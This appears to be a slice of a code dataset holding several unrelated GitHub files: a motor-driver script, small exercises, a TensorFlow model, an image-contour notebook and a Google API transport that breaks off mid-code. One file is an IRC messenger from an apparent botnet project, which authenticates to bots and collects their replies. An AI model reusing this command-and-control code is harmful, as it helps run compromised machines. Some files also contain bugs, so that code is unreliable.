buffer_str != \"\":\r\n replies[command_key][\"value\"]=int(buffer_str) \r\n replies[command_key][\"time_stamp\"]=datetime.datetime.now() \r\n return( replies[command_key][\"value\"] )\r\n else:\r\n return None\r\n\r\n# ======================================\r\ndef calculate_average_frequency(step_count, wait_response_seconds):\r\n jump_condition = 1000\r\n freq_sum = 0\r\n last_frequency = None \r\n points = [] \r\n i = 0\r\n while i < step_count:\r\n new_frequency = execute_and_get_reply('driver_read_frequency',False, None, wait_response_seconds)\r\n points.append(new_frequency)\r\n\r\n if(last_frequency == None and new_frequency != None):\r\n if(new_frequency != None):\r\n last_frequency = new_frequency\r\n else:\r\n continue \r\n\r\n if(new_frequency != None): \r\n i = i + 1 \r\n\r\n if (abs(new_frequency - last_frequency)) > jump_condition:\r\n i = 0\r\n freq_sum = 0\r\n print(\"frequency showed impulsive behaviour, re-averaging\")\r\n freq_sum = freq_sum + new_frequency\r\n last_frequency = new_frequency\r\n \r\n return [(freq_sum/step_count), points]\r\n\r\ndef calculate_average_dc_link_from_driver(step_count, wait_response_seconds):\r\n jump_condition = 100\r\n voltage_sum = 0\r\n last_voltage = None\r\n points = [] \r\n i = 0\r\n while i < step_count:\r\n new_voltage= execute_and_get_reply('driver_dc_link_voltage',False, None, wait_response_seconds)\r\n points.append(new_voltage)\r\n if(last_voltage == None and new_voltage != None):\r\n if(new_voltage != None):\r\n last_voltage = new_voltage\r\n else:\r\n continue \r\n\r\n if(new_voltage != None): \r\n i = i + 1 \r\n\r\n if (abs(new_voltage - last_voltage)) > jump_condition:\r\n i = 0\r\n voltage_sum = 0\r\n print(\"voltage showed impulsive behaviour, re-averaging\")\r\n voltage_sum = voltage_sum + new_voltage\r\n last_voltage = new_voltage\r\n \r\n return [ (voltage_sum/step_count), points] \r\n\r\ndef drive_motor(desired_frequency): \r\n freq_now = calculate_average_frequency(4,0.25)[0]\r\n abs_delta_voltage = 100 if freq_now < 1500 else 30\r\n\r\n if(desired_frequency >= freq_now):\r\n #assumption \r\n avg_freq_old= calculate_average_frequency(4,0.25)[0] \r\n abs_freq_dif_old = abs(desired_frequency-avg_freq_old) \r\n avg_dc_link_voltage = calculate_average_dc_link_from_driver(4,0.25)[0]\r\n execute_and_get_reply('driver_set_ref_voltage', True, (avg_dc_link_voltage - abs_delta_voltage), 0.25)\r\n \r\n #---------\r\n time.sleep(5)\r\n #---------\r\n\r\n #correction\r\n avg_freq_new = calculate_average_frequency(4,0.25)[0] \r\n abs_freq_dif_new = abs(desired_frequency-avg_freq_new)\r\n\r\n if(abs_freq_dif_new <= abs_freq_dif_old): \r\n print(\"Right- desired frequency was higher than the frequency now. So I decreased the ref voltage\")\r\n else:\r\n print(\"Wrong- desired frequency was higher than the frequency now. So I decreased the ref voltage. However this resulted in higher frequency diff. So I canceled the changes \")\r\n execute_and_get_reply('driver_set_ref_voltage', True, (avg_dc_link_voltage + 2 * abs_delta_voltage), 0.25)\r\n time.sleep(10)\r\n else:\r\n #assumption \r\n avg_freq_old= calculate_average_frequency(4,0.25)[0] \r\n abs_freq_dif_old = abs(desired_frequency-avg_freq_old) \r\n avg_dc_link_voltage = calculate_average_dc_link_from_driver(4,0.25)[0]\r\n execute_and_get_reply('driver_set_ref_voltage', True, (avg_dc_link_voltage + abs_delta_voltage), 0.25)\r\n \r\n #---------\r\n time.sleep(5)\r\n #---------\r\n\r\n #correction\r\n avg_freq_new = calculate_average_frequency(4,0.25)[0] \r\n abs_freq_dif_new = abs(desired_frequency-avg_freq_new)\r\n\r\n if(abs_freq_dif_new <= abs_freq_dif_old): \r\n print(\"Right- desired frequency was lower than the frequency now. So I increased the ref voltage\")\r\n else:\r\n print(\"Wrong- desired frequency was lower than the frequency now. So I increased the ref voltage. However this resulted in higher frequency diff. So I canceled the changes \")\r\n execute_and_get_reply('driver_set_ref_voltage', True, (avg_dc_link_voltage - 2 * abs_delta_voltage), 0.25)\r\n time.sleep(10)\r\n\r\n \r\nregister_address = 30\r\ntry_count = 5\r\n\r\nrslt= execute_and_get_reply('driver_set_battery_charging_current', True, 2, 0.25) \r\nprint(rslt)\r\n\r\nwhile register_address <38:\r\n \r\n\r\n count = 0\r\n while count < try_count:\r\n register_value= execute_and_get_reply('pv_read_holding_register', False, register_address, 0.25) \r\n if(register_value != None):\r\n break\r\n else:\r\n count +=1\r\n \r\n register_address = register_address+1\r\n print(register_address, register_value)\r\n with open('register_no_test.txt', 'a') as f: \r\n f.write(f\"register no:{register_address}\".ljust(25)+ f\" value:{register_value}\")\r\n f.write('\\n')\r\n\r\n #execute_and_get_reply('driver_run', True, None, 0.25) \r\n #drive_motor(5000) \r\n\r\n \r\n \r\n\r\n \r\n # execute_and_get_reply('driver_read_frequency',False, None, 0.25)\r\n # execute_and_get_reply('driver_read_ref_dc_voltage',False, None, 0.25)\r\n # rslt = execute_and_get_reply('driver_dc_link_voltage',False, None, 0.25)\r\n # execute_and_get_reply('pv_power',False, None, 0.25)\r\n # execute_and_get_reply('pv_load_power',False, None, 0.25)\r\n\r\n # for key,value in replies.items():\r\n # if key in read_commands.keys():\r\n # print(key,value['value'])\r\n\r\n \r\n\r\n","repo_name":"erdemcanaz/Agriculture_assistant","sub_path":"OLD/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43970532158","text":"def fun(n,l):\n c=0\n for i in l:\n if i>n:\n return c\n else:\n c+=1\n return 0\nn=int(input())\nl=list(map(int,input().split()))\nfor i in range(len(l)):\n t=l[i:]\n print(fun(l[i],t),end=\" \")\n","repo_name":"Ganesh9392/codemind-python","sub_path":"Temperatures.py","file_name":"Temperatures.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72160109691","text":"import tensorflow as tf\nfrom . import nnu\n\n# perhaps the simplest NN possible: a weighthed sum of all features\n# maximum observed accuracy:\n# 0.70 when d=0 n=16\n# 0.80 when d=1 n=16\n# 0.84 when d=1 n=64\n# 0.85 when d=1 n=128\n# 0.80 when d=2 n=16\n# 0.86 when d=2 n=64\ndef make_dcnn(images, labels, learning_rate, is_training, d = 2, n = 64):\n print(0, images.shape)\n _, _, N, F = images.shape\n\n x = tf.reshape(images, [-1, N*N*F])\n print(1, x.shape)\n\n for i in range(d):\n x = nnu.fconn(x, n, name='internal')\n x = tf.nn.relu(x)\n print(2, x.shape)\n\n x = nnu.fconn(x, 1, name='readout')\n x = tf.sigmoid(x)\n print(3, x.shape)\n\n y = tf.reshape(x, [-1])\n e = tf.losses.mean_squared_error(labels, y)\n return (y, e, tf.train.GradientDescentOptimizer(learning_rate).minimize(e))","repo_name":"d180cf/dcnn-eval","sub_path":"py/graphs/fc1.py","file_name":"fc1.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"56007777","text":"''' protocol messenger '''\n\nimport asyncio\nimport uuid\n\nfrom .heartbeat import heartbeat, is_heartbeat\nfrom ..utils import Logger\nfrom ..errors import QuitSignal\nfrom ..config import NICK\n\nclass Messenger:\n ''' Handle messages between IRC server and client '''\n\n @classmethod\n async def create(cls, channel, host, port, secret):\n ''' Create instance of messenger and connect '''\n self = Messenger(channel, host, port, secret)\n await self.__connect()\n return self\n\n def __init__(self, channel, host, port, secret):\n self.__nick = None\n self.__reader = None\n self.__writer = None\n self.__secret = secret\n self.__channel = channel\n self.__host = host\n self.__port = port\n self.__responses = []\n\n def authenticate(self):\n ''' Authenticate to bots '''\n self.send_channel(self.__secret)\n\n def send(self, msg):\n ''' send message to IRC server '''\n payload = ('{0}\\r\\n'.format(msg)).encode('utf_8')\n self.__writer.write(payload)\n Logger.debug('--> {}'.format(payload))\n return\n\n def move(self, channel):\n ''' Move to new channel '''\n self.__channel = channel\n self.join()\n self.authenticate()\n\n async def read_list(self):\n ''' Read the list of channels '''\n fut = self.__read_response()\n try:\n await asyncio.wait_for(fut, timeout=1)\n except asyncio.TimeoutError:\n pass\n\n # Collect the responses\n responses = self.__responses\n self.__responses = []\n\n responses = list(filter(lambda line: '#' in line, responses))\n return list(map(lambda line: line.split(self.__nick)[1].strip(), responses))\n\n async def read(self, key=None):\n ''' Read responses from bots '''\n fut = self.__read_response()\n\n # Listen for responses from bots for 3 seconds\n try:\n await asyncio.wait_for(fut, timeout=3)\n except asyncio.TimeoutError:\n pass\n\n # Collect the responses\n responses = self.__responses\n self.__responses = []\n\n # Log the responses\n Logger.debugline()\n Logger.debug('*** Responses ***')\n for response in responses:\n Logger.debug(response)\n\n # Parse the messages\n responses = list(filter(lambda line: 'PRIVMSG' in line, responses))\n responses = list(map(lambda line: line.split(' :', 1)[1], responses))\n\n # Filter if necessary\n if key:\n responses = list(filter(lambda line: key in line, responses))\n\n Logger.debug('\\n*** Filtered Responses ***')\n for response in responses:\n Logger.debug(response)\n\n # Return the responses\n return responses\n\n def get_nick(self):\n ''' Return nick '''\n return self.__nick\n\n def make_nick(self):\n ''' Generate a new nick and return '''\n if self.__nick is None:\n self.__nick = NICK\n else:\n self.__nick = '{}-{}'.format(NICK, uuid.uuid4())\n\n return self.__nick\n\n async def invalid_nick(self):\n ''' Check if the nick is invalid '''\n try:\n msg = await asyncio.wait_for(self.__read_line(), timeout=(1/10))\n except asyncio.TimeoutError:\n Logger.debug('*** Timed out waiting for invalid NICK ***')\n return False\n for seg in msg.split(':')[1:2]:\n if '433' in seg:\n Logger.debug('*** Server responded with invalid NICK ***')\n return True\n elif '001' in seg:\n Logger.debug('*** Server responded with valid NICK ***')\n return False\n\n async def read_line(self):\n ''' Read a line '''\n msg = await self.__read_line()\n Logger.debug('<-- {}'.format(msg))\n return msg\n\n def send_channel(self, msg):\n ''' send a private message to channel '''\n return self.send('PRIVMSG #{0} :{1}'.format(self.__channel, msg))\n\n def join(self):\n ''' Join the channel '''\n return self.send('JOIN :#{}'.format(self.__channel))\n\n async def send_quit(self):\n ''' Send quit message '''\n return self.send('QUIT')\n\n async def listen_irc(self):\n ''' Listen for heartbeat, raise error if not heartbeat message '''\n while True:\n msg = await self.__read_line()\n if is_heartbeat(msg):\n await self.__heartbeat(msg)\n else:\n # Log that the message was not received, else print msg to user\n Logger.debug('<-- {}'.format(msg))\n\n def close(self):\n ''' Close the messenger '''\n self.__writer.close()\n\n async def __read_response(self):\n while True:\n msg = await self.__read_line()\n if is_heartbeat(msg):\n await self.__heartbeat(msg)\n else:\n # Collect the message\n self.__responses.append(msg)\n\n async def __heartbeat(self, msg):\n Logger.debug('<-- {}'.format(msg))\n await heartbeat(self, msg)\n\n async def __read_line(self):\n\n msg = await self.__reader.readline()\n\n if not msg:\n # Server disconnected, attempt new connection\n self.__reconnect()\n else:\n return msg.decode('utf_8').strip()\n\n async def __connect(self):\n ''' Attempt to make connection to server '''\n try:\n self.__reader, self.__writer = await asyncio.wait_for(asyncio.open_connection(self.__host, self.__port, loop=asyncio.get_event_loop()), timeout=3)\n except asyncio.TimeoutError:\n raise QuitSignal()\n\n async def __reconnect(self):\n ''' Upon losing connection to server, attempt to reconnect '''\n Logger.debug('*** Connection lost, reconnecting... ***')\n try:\n self.__reader, self.__writer = await self.__connect()\n except QuitSignal:\n Logger.log('--- Timed out attempting to reconnect to server ---')\n raise\n","repo_name":"mfalthaw/botnet-526A6","sub_path":"controller/protocol/messenger.py","file_name":"messenger.py","file_ext":"py","file_size_in_byte":6086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21924976232","text":"graph = {\n \"A\":[\"B\",\"C\"],\n \"B\":[\"A\",\"C\",\"D\"],\n \"C\":[\"A\",\"B\",\"D\",\"E\"],\n \"D\":[\"B\",\"C\",\"E\",\"F\"],\n \"E\":[\"C\",\"D\"],\n \"F\":[\"D\"]\n}\ndef BSF(graph,s): #s:start_point\n check_list = [] # checking list\n check_list.append(s)\n seen = set() # seen list\n seen.add(s)\n sq_list = [] # output sequence list\n sq_list.append(s)\n while len(check_list) > 0:\n vertex = check_list.pop(0) # taken out the items\n node = graph[vertex]\n for nodes in node: # check the nodes is seen in graph or not\n if nodes not in seen:#add the nodes that unseen to list\n check_list.append(nodes)\n seen.add(nodes)\n sq_list(nodes)\n return sq_list\n\n\ndef DSF(graph,s): #s:start_point\n stack =[]\n stack.append(s)\n seen = set()\n seen.add(s)\n sq_list = []\n sq_list.append(s)\n while len(stack) > 0 :\n vertex = stack.pop() #choose last one for deep\n node = graph[vertex]\n for nodes in node:\n if nodes not in seen:\n stack.append(nodes)\n seen.add(nodes)\n sq_list.append(nodes)\n return sq_list\n\n\n\n\n# print(BSF(graph, \"A\"))\n# print(DSF(graph, \"A\"))\n\n","repo_name":"lightjox/Python_learning","sub_path":"BFS&DFS.py","file_name":"BFS&DFS.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71050237691","text":"import numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nimport matplotlib.pyplot as plt\n\nimport os\n\nprint(os.listdir(\"../input\"))\nDATA = '../input'\n\nLABELS='train.csv'\n\nTRAIN = os.path.join(DATA, 'train')\n\nTEST = os.path.join(DATA, 'test')\ntrain_paths = [os.path.join(TRAIN,img) for img in os.listdir(TRAIN)]\n\ntest_paths = [os.path.join(TEST,img) for img in os.listdir(TEST)]\nimport cv2\n\n#read image\n\nimg=cv2.imread(train_paths[5])\n\nblurred = cv2.GaussianBlur(img, (7,7), 0) # Remove noise\n\nplt.imshow(blurred)\n#close the small line gaps using errosion\n\nkernel = np.ones((3,3), np.uint8)\n\nerode = cv2.erode(blurred, kernel, iterations = 3)\n\nplt.imshow(erode)\n#cannyedge \n\ndef canny_edge_detector(input_img, threshold1, threshold2, draw=True, save=True):\n\n canny_img = cv2.cvtColor(np.copy(input_img), cv2.COLOR_BGR2GRAY)\n\n edges = cv2.Canny(canny_img, threshold1, threshold2)\n\n return edges\n#try adding Eroding before edge detection(increase black lines)\n\ncanny_edges = canny_edge_detector(input_img=erode, threshold1=100, threshold2=150) \n\nplt.imshow(canny_edges)\n#close the small line gaps using dilation\n\nkernel = np.ones((5,5), np.uint8)\n\ndilation_canny = cv2.dilate(canny_edges, kernel, iterations = 3)\n\ncanny_blurred = cv2.GaussianBlur(dilation_canny, (3,3), 0) # Remove noise\n\nplt.imshow(canny_blurred)\nfrom skimage import measure\n\nfrom shapely.geometry import Polygon,Point\n\nmin_contour_size = canny_blurred.size * 5 / 100\n\nprint(\"min size:\"+str(min_contour_size))\n#box=(x0,y0,x1,t1)\n\ndef calc_box_size(box):\n\n box_width=box[2]-box[0]\n\n box_hight=box[3]-box[1]\n\n box_area=box_width*box_hight\n\n return box_area\n\n\n\ndef bounding_rectangle(polygon):\n\n x0=min(polygon[:, 1])\n\n y0=min(polygon[:, 0])\n\n x1=max(polygon[:, 1])\n\n y1=max(polygon[:, 0])\n\n return x0,y0,x1,y1\n\n\n\ndef find_max_contour(image):\n\n contours = measure.find_contours(image.copy(), 0.8)\n\n max_area=0\n\n max_x=0\n\n max_y=0\n\n min_x=image.shape[0]\n\n min_y=image.shape[1]\n\n #get def_box\n\n for n, contour in enumerate(contours):\n\n contour[:, 1], contour[:, 0]\n\n max_c_x=max(contour[:, 1])\n\n max_c_y=max(contour[:, 0])\n\n min_c_x=min(contour[:, 1])\n\n min_c_y=min(contour[:, 0])\n\n if max_c_x>max_x:\n\n max_x=max_c_x\n\n if max_c_y>max_y:\n\n max_y=max_c_y\n\n if min_c_xmax_area:\n\n max_contour=contour\n\n max_area=box_size\n\n return max_contour,max_area,def_box\ncontour,area,def_box=find_max_contour(canny_blurred) \n\nplt.imshow(img)\n\nplt.plot(contour[:, 1], contour[:, 0], linewidth=1)\nimport matplotlib.patches as patches\n\nbox=bounding_rectangle(contour)\n\nplt.imshow(img)\n\nplt.plot(contour[:, 1], contour[:, 0], linewidth=1)\n\n# Get the current reference\n\nax = plt.gca()\n\n# Create a Rectangle patch\n\nrect = patches.Rectangle((box[0],box[1]),box[2]-box[0],box[3]-box[1],linewidth=1,edgecolor='r',facecolor='none')\n\n# Add the patch to the Axes\n\nax.add_patch(rect)\n\ndef_rect = patches.Rectangle((def_box[0],def_box[1]),def_box[2]-def_box[0],def_box[3]-def_box[1],linewidth=1,edgecolor='g',facecolor='none')\n\n# Add the patch to the Axes\n\nax.add_patch(def_rect)\n\ndef_box\ndef get_box_center(box):\n\n #box polygon\n\n x0=box[0]\n\n y0=box[1]\n\n x1=box[2]\n\n y1=box[3]\n\n x2=x1\n\n y2=y0\n\n x3=x0\n\n y3=y1\n\n in_box=[[x0,y0],[x1,y1],[x2,y2],[x3,y3]]\n\n polygon_box = Polygon(in_box)\n\n box_centr=polygon_box.centroid.coords\n\n return box_centr\n\n\n\ndef get_serrounding_box_for_p(point,img_width,img_high,margin=0.2):\n\n x0=point[0]-margin*img_width\n\n y0=point[1]-margin*img_high\n\n x1=point[0]+margin*img_width\n\n y1=point[1]+margin*img_high\n\n return (x0,y0,x1,y1)\n\n\n\n \n\ndef validate_bb(image, box):\n\n if box is None:\n\n return False\n\n #check min size\n\n box_area=calc_box_size(box)\n\n min_contour_size = image.size * 5 / 100\n\n if box_areasrr_box[0] and box_centr[0]< srr_box[2] and box_centr[1]>srr_box[1] and box_centr[1]= 1000:\n caro += 1\n if cont == 1 or preço < barato:\n barato = preço\n probarato = produto\n if final == 'N':\n break\nprint('{:-^40}'.format(' FIM DO PROGRAMA '))\nprint(f'''O total da compra foi R${total:.2f}\nTemos {caro} produtos custando mais de R$1000.00\nO produto mais barato foi {probarato} que custa R${barato:.2f}''')\n","repo_name":"brunoeni0/projetos-Python","sub_path":"Exercícios/MUNDO 2/Exercicio_070/ex070.py","file_name":"ex070.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71494860733","text":"import dataclasses\nimport json # type: ignore\nimport re\nfrom typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Union\nimport warnings\n\nfrom google.api_core import gapic_v1, path_template, rest_helpers, rest_streaming\nfrom google.api_core import exceptions as core_exceptions\nfrom google.api_core import retry as retries\nfrom google.auth import credentials as ga_credentials # type: ignore\nfrom google.auth.transport.grpc import SslCredentials # type: ignore\nfrom google.auth.transport.requests import AuthorizedSession # type: ignore\nfrom google.protobuf import json_format\nimport grpc # type: ignore\nfrom requests import __version__ as requests_version\n\ntry:\n OptionalRetry = Union[retries.Retry, gapic_v1.method._MethodDefault]\nexcept AttributeError: # pragma: NO COVER\n OptionalRetry = Union[retries.Retry, object] # type: ignore\n\n\nfrom google.longrunning import operations_pb2 # type: ignore\nfrom google.protobuf import empty_pb2 # type: ignore\n\nfrom google.cloud.contentwarehouse_v1.types import document_link_service\n\nfrom .base import DEFAULT_CLIENT_INFO as BASE_DEFAULT_CLIENT_INFO\nfrom .base import DocumentLinkServiceTransport\n\nDEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo(\n gapic_version=BASE_DEFAULT_CLIENT_INFO.gapic_version,\n grpc_version=None,\n rest_version=requests_version,\n)\n\n\nclass DocumentLinkServiceRestInterceptor:\n \"\"\"Interceptor for DocumentLinkService.\n\n Interceptors are used to manipulate requests, request metadata, and responses\n in arbitrary ways.\n Example use cases include:\n * Logging\n * Verifying requests according to service or custom semantics\n * Stripping extraneous information from responses\n\n These use cases and more can be enabled by injecting an\n instance of a custom subclass when constructing the DocumentLinkServiceRestTransport.\n\n .. code-block:: python\n class MyCustomDocumentLinkServiceInterceptor(DocumentLinkServiceRestInterceptor):\n def pre_create_document_link(self, request, metadata):\n logging.log(f\"Received request: {request}\")\n return request, metadata\n\n def post_create_document_link(self, response):\n logging.log(f\"Received response: {response}\")\n return response\n\n def pre_delete_document_link(self, request, metadata):\n logging.log(f\"Received request: {request}\")\n return request, metadata\n\n def pre_list_linked_sources(self, request, metadata):\n logging.log(f\"Received request: {request}\")\n return request, metadata\n\n def post_list_linked_sources(self, response):\n logging.log(f\"Received response: {response}\")\n return response\n\n def pre_list_linked_targets(self, request, metadata):\n logging.log(f\"Received request: {request}\")\n return request, metadata\n\n def post_list_linked_targets(self, response):\n logging.log(f\"Received response: {response}\")\n return response\n\n transport = DocumentLinkServiceRestTransport(interceptor=MyCustomDocumentLinkServiceInterceptor())\n client = DocumentLinkServiceClient(transport=transport)\n\n\n \"\"\"\n\n def pre_create_document_link(\n self,\n request: document_link_service.CreateDocumentLinkRequest,\n metadata: Sequence[Tuple[str, str]],\n ) -> Tuple[\n document_link_service.CreateDocumentLinkRequest, Sequence[Tuple[str, str]]\n ]:\n \"\"\"Pre-rpc interceptor for create_document_link\n\n Override in a subclass to manipulate the request or metadata\n before they are sent to the DocumentLinkService server.\n \"\"\"\n return request, metadata\n\n def post_create_document_link(\n self, response: document_link_service.DocumentLink\n ) -> document_link_service.DocumentLink:\n \"\"\"Post-rpc interceptor for create_document_link\n\n Override in a subclass to manipulate the response\n after it is returned by the DocumentLinkService server but before\n it is returned to user code.\n \"\"\"\n return response\n\n def pre_delete_document_link(\n self,\n request: document_link_service.DeleteDocumentLinkRequest,\n metadata: Sequence[Tuple[str, str]],\n ) -> Tuple[\n document_link_service.DeleteDocumentLinkRequest, Sequence[Tuple[str, str]]\n ]:\n \"\"\"Pre-rpc interceptor for delete_document_link\n\n Override in a subclass to manipulate the request or metadata\n before they are sent to the DocumentLinkService server.\n \"\"\"\n return request, metadata\n\n def pre_list_linked_sources(\n self,\n request: document_link_service.ListLinkedSourcesRequest,\n metadata: Sequence[Tuple[str, str]],\n ) -> Tuple[\n document_link_service.ListLinkedSourcesRequest, Sequence[Tuple[str, str]]\n ]:\n \"\"\"Pre-rpc interceptor for list_linked_sources\n\n Override in a subclass to manipulate the request or metadata\n before they are sent to the DocumentLinkService server.\n \"\"\"\n return request, metadata\n\n def post_list_linked_sources(\n self, response: document_link_service.ListLinkedSourcesResponse\n ) -> document_link_service.ListLinkedSourcesResponse:\n \"\"\"Post-rpc interceptor for list_linked_sources\n\n Override in a subclass to manipulate the response\n after it is returned by the DocumentLinkService server but before\n it is returned to user code.\n \"\"\"\n return response\n\n def pre_list_linked_targets(\n self,\n request: document_link_service.ListLinkedTargetsRequest,\n metadata: Sequence[Tuple[str, str]],\n ) -> Tuple[\n document_link_service.ListLinkedTargetsRequest, Sequence[Tuple[str, str]]\n ]:\n \"\"\"Pre-rpc interceptor for list_linked_targets\n\n Override in a subclass to manipulate the request or metadata\n before they are sent to the DocumentLinkService server.\n \"\"\"\n return request, metadata\n\n def post_list_linked_targets(\n self, response: document_link_service.ListLinkedTargetsResponse\n ) -> document_link_service.ListLinkedTargetsResponse:\n \"\"\"Post-rpc interceptor for list_linked_targets\n\n Override in a subclass to manipulate the response\n after it is returned by the DocumentLinkService server but before\n it is returned to user code.\n \"\"\"\n return response\n\n def pre_get_operation(\n self,\n request: operations_pb2.GetOperationRequest,\n metadata: Sequence[Tuple[str, str]],\n ) -> Tuple[operations_pb2.GetOperationRequest, Sequence[Tuple[str, str]]]:\n \"\"\"Pre-rpc interceptor for get_operation\n\n Override in a subclass to manipulate the request or metadata\n before they are sent to the DocumentLinkService server.\n \"\"\"\n return request, metadata\n\n def post_get_operation(\n self, response: operations_pb2.Operation\n ) -> operations_pb2.Operation:\n \"\"\"Post-rpc interceptor for get_operation\n\n Override in a subclass to manipulate the response\n after it is returned by the DocumentLinkService server but before\n it is returned to user code.\n \"\"\"\n return response\n\n\n@dataclasses.dataclass\nclass DocumentLinkServiceRestStub:\n _session: AuthorizedSession\n _host: str\n _interceptor: DocumentLinkServiceRestInterceptor\n\n\nclass DocumentLinkServiceRestTransport(DocumentLinkServiceTransport):\n \"\"\"REST backend transport for DocumentLinkService.\n\n This service lets you manage document-links.\n Document-Links are treated as sub-resources under source\n documents.\n\n This class defines the same methods as the primary client, so the\n primary client can load the underlying transport implementation\n and call it.\n\n It sends JSON representations of protocol buffers over HTTP/1.1\n\n \"\"\"\n\n def __init__(\n self,\n *,\n host: str = \"contentwarehouse.googleapis.com\",\n credentials: Optional[ga_credentials.Credentials] = None,\n credentials_file: Optional[str] = None,\n scopes: Optional[Sequence[str]] = None,\n client_cert_source_for_mtls: Optional[Callable[[], Tuple[bytes, bytes]]] = None,\n quota_project_id: Optional[str] = None,\n client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,\n always_use_jwt_access: Optional[bool] = False,\n url_scheme: str = \"https\",\n interceptor: Optional[DocumentLinkServiceRestInterceptor] = None,\n api_audience: Optional[str] = None,\n ) -> None:\n \"\"\"Instantiate the transport.\n\n Args:\n host (Optional[str]):\n The hostname to connect to.\n credentials (Optional[google.auth.credentials.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify the application to the service; if none\n are specified, the client will attempt to ascertain the\n credentials from the environment.\n\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is ignored if ``channel`` is provided.\n scopes (Optional(Sequence[str])): A list of scopes. This argument is\n ignored if ``channel`` is provided.\n client_cert_source_for_mtls (Callable[[], Tuple[bytes, bytes]]): Client\n certificate to configure mutual TLS HTTP channel. It is ignored\n if ``channel`` is provided.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n client_info (google.api_core.gapic_v1.client_info.ClientInfo):\n The client info used to send a user-agent string along with\n API requests. If ``None``, then default info will be used.\n Generally, you only need to set this if you are developing\n your own client library.\n always_use_jwt_access (Optional[bool]): Whether self signed JWT should\n be used for service account credentials.\n url_scheme: the protocol scheme for the API endpoint. Normally\n \"https\", but for testing or local servers,\n \"http\" can be specified.\n \"\"\"\n # Run the base constructor\n # TODO(yon-mg): resolve other ctor params i.e. scopes, quota, etc.\n # TODO: When custom host (api_endpoint) is set, `scopes` must *also* be set on the\n # credentials object\n maybe_url_match = re.match(\"^(?Phttp(?:s)?://)?(?P.*)$\", host)\n if maybe_url_match is None:\n raise ValueError(\n f\"Unexpected hostname structure: {host}\"\n ) # pragma: NO COVER\n\n url_match_items = maybe_url_match.groupdict()\n\n host = f\"{url_scheme}://{host}\" if not url_match_items[\"scheme\"] else host\n\n super().__init__(\n host=host,\n credentials=credentials,\n client_info=client_info,\n always_use_jwt_access=always_use_jwt_access,\n api_audience=api_audience,\n )\n self._session = AuthorizedSession(\n self._credentials, default_host=self.DEFAULT_HOST\n )\n if client_cert_source_for_mtls:\n self._session.configure_mtls_channel(client_cert_source_for_mtls)\n self._interceptor = interceptor or DocumentLinkServiceRestInterceptor()\n self._prep_wrapped_messages(client_info)\n\n class _CreateDocumentLink(DocumentLinkServiceRestStub):\n def __hash__(self):\n return hash(\"CreateDocumentLink\")\n\n __REQUIRED_FIELDS_DEFAULT_VALUES: Dict[str, Any] = {}\n\n @classmethod\n def _get_unset_required_fields(cls, message_dict):\n return {\n k: v\n for k, v in cls.__REQUIRED_FIELDS_DEFAULT_VALUES.items()\n if k not in message_dict\n }\n\n def __call__(\n self,\n request: document_link_service.CreateDocumentLinkRequest,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Optional[float] = None,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> document_link_service.DocumentLink:\n r\"\"\"Call the create document link method over HTTP.\n\n Args:\n request (~.document_link_service.CreateDocumentLinkRequest):\n The request object. Request message for\n DocumentLinkService.CreateDocumentLink.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n ~.document_link_service.DocumentLink:\n A document-link between source and\n target document.\n\n \"\"\"\n\n http_options: List[Dict[str, str]] = [\n {\n \"method\": \"post\",\n \"uri\": \"/v1/{parent=projects/*/locations/*/documents/*}/documentLinks\",\n \"body\": \"*\",\n },\n ]\n request, metadata = self._interceptor.pre_create_document_link(\n request, metadata\n )\n pb_request = document_link_service.CreateDocumentLinkRequest.pb(request)\n transcoded_request = path_template.transcode(http_options, pb_request)\n\n # Jsonify the request body\n\n body = json_format.MessageToJson(\n transcoded_request[\"body\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n uri = transcoded_request[\"uri\"]\n method = transcoded_request[\"method\"]\n\n # Jsonify the query params\n query_params = json.loads(\n json_format.MessageToJson(\n transcoded_request[\"query_params\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n )\n query_params.update(self._get_unset_required_fields(query_params))\n\n query_params[\"$alt\"] = \"json;enum-encoding=int\"\n\n # Send the request\n headers = dict(metadata)\n headers[\"Content-Type\"] = \"application/json\"\n response = getattr(self._session, method)(\n \"{host}{uri}\".format(host=self._host, uri=uri),\n timeout=timeout,\n headers=headers,\n params=rest_helpers.flatten_query_params(query_params, strict=True),\n data=body,\n )\n\n # In case of error, raise the appropriate core_exceptions.GoogleAPICallError exception\n # subclass.\n if response.status_code >= 400:\n raise core_exceptions.from_http_response(response)\n\n # Return the response\n resp = document_link_service.DocumentLink()\n pb_resp = document_link_service.DocumentLink.pb(resp)\n\n json_format.Parse(response.content, pb_resp, ignore_unknown_fields=True)\n resp = self._interceptor.post_create_document_link(resp)\n return resp\n\n class _DeleteDocumentLink(DocumentLinkServiceRestStub):\n def __hash__(self):\n return hash(\"DeleteDocumentLink\")\n\n __REQUIRED_FIELDS_DEFAULT_VALUES: Dict[str, Any] = {}\n\n @classmethod\n def _get_unset_required_fields(cls, message_dict):\n return {\n k: 